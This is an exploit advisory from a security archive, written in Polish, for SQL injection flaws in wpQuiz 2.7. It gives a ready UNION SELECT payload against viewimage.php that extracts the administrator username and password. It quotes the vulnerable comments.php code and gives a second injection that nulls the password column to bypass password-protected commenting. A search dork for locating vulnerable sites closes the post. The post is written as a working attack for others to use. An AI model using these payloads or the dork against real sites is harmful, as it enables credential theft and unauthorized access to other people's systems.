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wpquiz-sql.txt

wpquiz-sql.txt
Posted Nov 28, 2007
Authored by Kacper | Site devilteam.eu

wpQuiz version 2.7 suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | 87f2006a205be4968f46e94562b9ef9473168736e200e163e036b59d3ec55692

wpquiz-sql.txt

Change Mirror Download
Tytul: wpQuiz 2.7 Remote SQL Injection Vulnerability
### http://wireplastik.com/projects.php


Autor: Kacper
E-Mail: kacper1964@yahoo.pl
Strona: devilteam.eu

Irc: irc.myg0t.com #devilteam

Blad:


viewimage.php?id=-1'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,concat(user,char(58),password),14,15+from+users+where+id=1/*

Pozniej sciagnij obrazek i sprawdz jego zrodlo!


==========================================================================================================================
Kolejny blad dotyczy nieautoryzowanego dostepu do komentowania wynikow na quizie.








Skopiowane prosto z => http://devilteam.eu/forum/topics92/bypass-za-pomoca-sql-wpquiz-vt4278.htm
==========================================================================================================================
Elo, ostatnio natknolem sie na ciekawy skrypt Quizowy (WpQuiz) i znalazlem w nim pare ciekawych bledow.

w skrypcie istnieje opcja pozwalajaca na blokowanie na haslo przez administratora komentowania wynikow w quizie.

Plik comments.php zawiera zrodlo:
Kod:
$no = $_GET['id'];
$setcheck = mysql_fetch_array(mysql_query("SELECT * FROM sets WHERE id='".$no."'"));
if( mysql_affected_rows() == 0 ){
geterror("commentsinvalidset");
}
if( $setcheck['isopen'] == 0 ){
geterror("commentsquestionsetclosed");
}
if($setcheck['password'] != ""){
if( !isset($_POST['password']) || ($_POST['password'] != $setcheck['password']) ){
?>
<form name="pwCheck" action="<?= $_SERVER['PHP_SELF'] ?>?id=<?=$no?>" method="post">
<div class="pagehead"><span class="big"><b><?=getlang("commentspasswordheader",1)?></b></span></div>
<b><?=getlang("commentspasswordrequest",1)?></b><br />
<?=getlang("commentspassword",1)?> <input type="password" name="password" />
<input type="submit" value="<?=getlang("commentspasswordsubmit",1)?>" />
</form>
<?php
exit;
}
}



jak widac:
Kod:
if($setcheck['password'] != ""){



skrypt pobiera informacje z bazy danych na temat blokowania komentowania. Jesli ta opcja bedzie pusta czyli (null=0) to skrypt nie zawola o haslo.

wiec wykonujemy zapytanie SQL dzieki linijce:
Kod:
$no = $_GET['id'];
$setcheck = mysql_fetch_array(mysql_query("SELECT * FROM sets WHERE id='".$no."'"));



Nasze zapytanie:
Kod:
comments.php?id=-9'+union+select+0,1,2,3,4,5,null,7,8,9,10,11,12,13/*



metoda prob i bledow doszedlem do tego ¿e kolumna numer 6 odpowiada za haslo i dalem tam null'a

taki maly tutek mo¿e sie przydac dla tych co chca cos omijac zablokowanego na haslo
==========================================================================================================================

//dork:"Powered by wpQuiz"

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